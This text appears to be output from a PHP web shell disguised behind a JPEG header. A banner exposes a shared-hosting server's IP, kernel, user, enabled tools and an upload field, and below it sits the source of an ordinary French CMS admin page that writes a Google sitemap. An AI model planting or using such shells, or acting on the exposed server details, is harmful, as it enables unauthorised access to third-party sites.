ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/transportsnicolas.fr/cp-admin/ |
Upload File : |
<?php
require_once('includes/header.php');
require_once('includes/menu.php');
if ((U_USER< 4) || (AUTO_16 > 0)){
$date_us = date('Y-m-d');
$gen = $_GET['gen'];
if ($gen >0) { $success = "A";
$date_fr = date('d-m-Y');
$id = "1";
$values = array(
'xml' => $date_fr
);
update_posted_id($values, $id, $GLOBALS['db_table']['info']);
}
$dernier = get_xml();
?>
<div class="container">
<div class="form-horizontal">
<div class="page-header">
<div class="container-fluid">
<h1>Plan XML Google</h1>
</div>
</div>
<div class="container-fluid">
<?php if ($success =='A') { ?>
<div class="alert alert-success"><i class="fa fa-check-circle"></i>
Succès : Votre plan XML a bien été mis à jour !</i><button type="button" class="close" data-dismiss="alert">×</button>
</div>
<?php } else { ?>
<div class="alert alert-info"><i class="fa fa-info-circle"></i>
Ce plan au format XML est à la racine du site (sitemaps.xml). Il est fait pour les robots de référencement et doit se mettre à jour régulièrement.
<br /> <b>Le dernier Plan a été fait le : <?php echo$dernier ; ?></b>
<button type="button" class="close" data-dismiss="alert">×</button>
</div>
<?php } ?>
</div>
<div class="pull-right">
<a href="xml_accueil.php?gen=1" class="btn btn-success" id="form"><i class="icon-plus"></i> Générer le Plan</a>
<a href="index.php" class="btn btn-primary"><i class="icon-arrow-left"></i> Annulation</a>
</div>
<div style="margin-left : 150px;">
<br />
<br />
<b>Le contenus de votre plan XML est : </b><br />
<br /><?xml version="1.0" encoding="UTF-8"?>
<br /><urlset xmlns="http://www.google.com/schemas/sitemap/0.9">
<div>
<?php
echo'<br />';
echo'<br />';
echo'<b>PAGES FIXES------------------------------------------------</b>';
echo'<br />';
echo'<br />';
// PAGES STATIQUES en francais page non bloquees
$list = get_page_fr_fix(array('table'=>'fixed_pages', 'order'=>'categorie'));
for($i=0; $i<count($list); $i++) {
$seo = $list[$i]['seo'];
$seo_1 = $list[$i]['seo_1'];
$seo_2 = $list[$i]['seo_2'];
$seo_3 = $list[$i]['seo_3'];
$seo_4 = $list[$i]['seo_4'];
$seo_5 = $list[$i]['seo_5'];
$categorie = $list[$i]['categorie'];
$status = $list[$i]['status'];
if (($status >0) and ($categorie <> '6') and ($categorie <> '7') and ($categorie <> '8') and ($categorie <> '11') and ($categorie <> '12') and ($categorie <> '13') ) {
echo'
<url> <br />
<loc>'. HTTP_SERVER .'/'. $seo .'</loc> <br />
<lastmod>'. $date_us .'</lastmod> <br />
<changefreq>weekly</changefreq> <br />
<priority>0.9</priority> <br />
</url>
<br />';
}
if (($status >0) and ($categorie < '2') and ($categorie > '0')) {
if ($seo_1 !=='') {
echo'
<url> <br />
<loc>'. HTTP_SERVER .'/'. $seo_1 .'</loc> <br />
<lastmod>'. $date_us .'</lastmod> <br />
<changefreq>weekly</changefreq> <br />
<priority>0.9</priority> <br />
</url>
<br />';
}
if ($seo_2 !=='') {
echo'
<url> <br />
<loc>'. HTTP_SERVER .'/'. $seo_2 .'</loc> <br />
<lastmod>'. $date_us .'</lastmod> <br />
<changefreq>weekly</changefreq> <br />
<priority>0.9</priority> <br />
</url>
<br />';
}
if ($seo_3 !=='') {
echo'
<url> <br />
<loc>'. HTTP_SERVER .'/'. $seo_3 .'</loc> <br />
<lastmod>'. $date_us .'</lastmod> <br />
<changefreq>weekly</changefreq> <br />
<priority>0.9</priority> <br />
</url>
<br />';
}
if ($seo_4 !=='') {
echo'
<url> <br />
<loc>'. HTTP_SERVER .'/'. $seo_4 .'</loc> <br />
<lastmod>'. $date_us .'</lastmod> <br />
<changefreq>weekly</changefreq> <br />
<priority>0.9</priority> <br />
</url>
<br />';
}
if ($seo_5 !=='') {
echo'
<url> <br />
<loc>'. HTTP_SERVER .'/'. $seo_5 .'</loc> <br />
<lastmod>'. $date_us .'</lastmod> <br />
<changefreq>weekly</changefreq> <br />
<priority>0.9</priority> <br />
</url>
<br />';
}
}
}
echo'<br />';
echo'<br />';
echo'<b>PAGES DYNAMIQUES-------------------------------------------</b>';
echo'<br />';
echo'<br />';
// PAGES DYNAMIQUES en francais page non bloquees
$list = get_page_fr(array('table'=>'pages', 'order'=>'position'));
for($i=0; $i<count($list); $i++) {
$seo = $list[$i]['seo'];
$categorie = $list[$i]['categorie'];
$status = $list[$i]['status'];
$seo_1 = $list[$i]['seo_1'];
$seo_2 = $list[$i]['seo_2'];
$seo_3 = $list[$i]['seo_3'];
$seo_4 = $list[$i]['seo_4'];
$seo_5 = $list[$i]['seo_5'];
if ($status < 10){
echo'
<url> <br />
<loc>'. HTTP_SERVER .'/'.$categorie.'-'. $seo .'</loc> <br />
<lastmod>'. $date_us .'</lastmod> <br />
<changefreq>weekly</changefreq> <br />
<priority>0.9</priority> <br />
</url>
<br />';
if (!empty($seo_1)) {
echo'
<url> <br />
<loc>'. HTTP_SERVER .'/'. $seo_1 .'</loc> <br />
<lastmod>'. $date_us .'</lastmod> <br />
<changefreq>weekly</changefreq> <br />
<priority>0.9</priority> <br />
</url>
<br />';
}
if (!empty($seo_2)) {
echo'
<url> <br />
<loc>'. HTTP_SERVER .'/'. $seo_2 .'</loc> <br />
<lastmod>'. $date_us .'</lastmod> <br />
<changefreq>weekly</changefreq> <br />
<priority>0.9</priority> <br />
</url>
<br />';
}
if (!empty($seo_3)) {
echo'
<url> <br />
<loc>'. HTTP_SERVER .'/'. $seo_3 .'</loc> <br />
<lastmod>'. $date_us .'</lastmod> <br />
<changefreq>weekly</changefreq> <br />
<priority>0.9</priority> <br />
</url>
<br />';
}
if (!empty($seo_4)) {
echo'
<url> <br />
<loc>'. HTTP_SERVER .'/'. $seo_4 .'</loc> <br />
<lastmod>'. $date_us .'</lastmod> <br />
<changefreq>weekly</changefreq> <br />
<priority>0.9</priority> <br />
</url>
<br />';
}
if (!empty($seo_5)) {
echo'
<url> <br />
<loc>'. HTTP_SERVER .'/'. $seo_5 .'</loc> <br />
<lastmod>'. $date_us .'</lastmod> <br />
<changefreq>weekly</changefreq> <br />
<priority>0.9</priority> <br />
</url>
<br />';
}
}
}
$actif = get_module_actif('listing_immo');
if ($actif >0 ) {
echo'<br />';
echo'<br />';
echo'<b>PAGES ANNONCES-------------------------------------------</b>';
echo'<br />';
echo'<br />';
// PAGES en francais page non bloquees
$list = get_select(array('table'=>'listing_immo', 'where1'=>'status', 'where2'=>'"1"'));
for($i=0; $i<count($list); $i++) {
$id = $list[$i]['id'];
$status = $list[$i]['status'];
echo'
<url> <br />
<loc>'. HTTP_SERVER .'/annonce-'.$id.'.html</loc> <br />
<lastmod>'. $date_us .'</lastmod> <br />
<changefreq>weekly</changefreq> <br />
<priority>0.9</priority> <br />
</url>
<br />';
}
}
$actif = get_module_actif('blog');
if ($actif >0 ) {
echo'<br />';
echo'<br />';
echo'<b>PAGES BLOG -------------------------------------------</b>';
echo'<br />';
echo'<br />';
// PAGES en francais page non bloquees
$list = get_select(array('table'=>'blog', 'where1'=>'status', 'where2'=>'"1"'));
for($i=0; $i<count($list); $i++) {
$id = $list[$i]['id'];
$status = $list[$i]['status'];
$title = $list[$i]['title'];
echo'
<url> <br />
<loc>'. HTTP_SERVER .'/blog-'.$id.'-'.$title.'</loc> <br />
<lastmod>'. $date_us .'</lastmod> <br />
<changefreq>weekly</changefreq> <br />
<priority>0.9</priority> <br />
</url>
<br />';
}
}
echo'
</urlset>';
?>
<br />
<br />
<b>Cliquez sur le bouton [+ Générer le Plan] pour l'exporter directement à la racine du site.</b> <br />
</div>
<?php
if ($gen >0) {
//////////////////////////////////////////////////////////////////////////////////////////////////////////
// Ecrit le fichier XML
//////////////////////////////////////////////////////////////////////////////////////////////////////////
$fp=fopen("../sitemaps.xml", "w+"); //ouverture du fichier en mode ?riture, cr?tion du fichier s'il n'existe pas
$code_1 ='<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.google.com/schemas/sitemap/0.9">
<url>
<loc>' . HTTP_SERVER . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_1); // insert le code
// Pages fixes
$list = get_page_fr_fix(array('table'=>'fixed_pages', 'order'=>'categorie'));
for($i=0; $i<count($list); $i++) {
$seo = $list[$i]['seo'];
$seo_1 = $list[$i]['seo_1'];
$seo_2 = $list[$i]['seo_2'];
$seo_3 = $list[$i]['seo_3'];
$seo_4 = $list[$i]['seo_4'];
$seo_5 = $list[$i]['seo_5'];
$categorie = $list[$i]['categorie'];
$status = $list[$i]['status'];
if (($status >0) and ($categorie <> '6') and ($categorie <> '7') and ($categorie <> '8') and ($categorie <> '11') and ($categorie <> '12') and ($categorie <> '13') ) {
$code_2 ='
<url>
<loc>' . HTTP_SERVER . '/' . $seo . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_2); // insert le code
if (($status >0) and ($categorie < '2') and ($categorie > '0')) {
if ($seo_1 !=='') {
$code_2_1 ='
<url>
<loc>' . HTTP_SERVER . '/' . $seo_1 . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_2_1); // insert le code
}
if ($seo_2 !=='') {
$code_2_2 ='
<url>
<loc>' . HTTP_SERVER . '/' . $seo_2 . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_2_2); // insert le code
}
if ($seo_3 !=='') {
$code_2_3 ='
<url>
<loc>' . HTTP_SERVER . '/' . $seo_3 . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_2_3); // insert le code
}
if ($seo_4 !=='') {
$code_2_4 ='
<url>
<loc>' . HTTP_SERVER . '/' . $seo_4 . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_2_4); // insert le code
}
if ($seo_5 !=='') {
$code_2_5 ='
<url>
<loc>' . HTTP_SERVER . '/' . $seo_5 . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_2_5); // insert le code
}
}
}
}
////////////////////////////////////////////////
// Pages dyn
$list = get_page_fr(array('table'=>'pages', 'order'=>'position'));
for($i=0; $i<count($list); $i++) {
$seo = $list[$i]['seo'];
$categorie = $list[$i]['categorie'];
$status = $list[$i]['status'];
$seo_1 = $list[$i]['seo_1'];
$seo_2 = $list[$i]['seo_2'];
$seo_3 = $list[$i]['seo_3'];
$seo_4 = $list[$i]['seo_4'];
$seo_5 = $list[$i]['seo_5'];
if ($status < 10){
////////////////////////////////////////////////
$code_3 ='
<url>
<loc>' . HTTP_SERVER .'/'.$categorie.'-'. $seo . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_3); // insert le code
if (!empty($seo_1)) {
$code_3_1 ='
<url>
<loc>' . HTTP_SERVER .'/'. $seo_1 . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_3_1); // insert le code
}
if (!empty($seo_2)) {
$code_3_2 ='
<url>
<loc>' . HTTP_SERVER .'/'. $seo_2 . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_3_2); // insert le code
}
if (!empty($seo_3)) {
$code_3_3 ='
<url>
<loc>' . HTTP_SERVER .'/'. $seo_3 . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_3_3); // insert le code
}
if (!empty($seo_4)) {
$code_3_4 ='
<url>
<loc>' . HTTP_SERVER .'/'. $seo_4 . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_3_4); // insert le code
}
if (!empty($seo_5)) {
$code_3_5 ='
<url>
<loc>' . HTTP_SERVER .'/'. $seo_5 . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_3_5); // insert le code
}
}
}
////////////////////////////////////////////////
$actif = get_module_actif('listing_immo');
if ($actif >0 ) {
// Pages dyn
$list = get_select(array('table'=>'listing_immo', 'where1'=>'status', 'where2'=>'"1"'));
for($i=0; $i<count($list); $i++) {
$id = $list[$i]['id'];
$status = $list[$i]['status'];
////////////////////////////////////////////////
$code_annonce ='
<url>
<loc>' . HTTP_SERVER .'/annonce-'.$id.'.html</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_annonce); // insert le code
}
}
////////////////////////////////////////////////
$actif = get_module_actif('blog');
if ($actif >0 ) {
// Pages dyn
$list = get_select(array('table'=>'blog', 'where1'=>'status', 'where2'=>'"1"'));
for($i=0; $i<count($list); $i++) {
$id = $list[$i]['id'];
$status = $list[$i]['status'];
$title = $list[$i]['title'];
////////////////////////////////////////////////
$code_blog ='
<url>
<loc>' . HTTP_SERVER .'/blog-'.$id.'-'.$title.'</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_blog); // insert le code
}
}
////////////////////////////////////////////////
//AUTRES
/*
$code_4 ='
<url>
<loc>' . HTTP_SERVER .'/dictionnaire</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>
<url>
<loc>' . HTTP_SERVER .'/foire</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>
';
fwrite($fp,$code_4); // insert le code
*/
//////////////////////////////////////////////
$code_5 = '
</urlset>';
fwrite($fp,$code_5); // insert le code
//////////////////////////////////////////////////////////////////////////////////////////////////////////
fclose($fp);
//////////////////////////////////////////////////////////////////////////////////////////////////////////
}
?>
<?php
include_once('includes/footer.php');
} else {
echo '<script>';
echo 'window.location = "./index.php"';
echo '</script>';
}
?>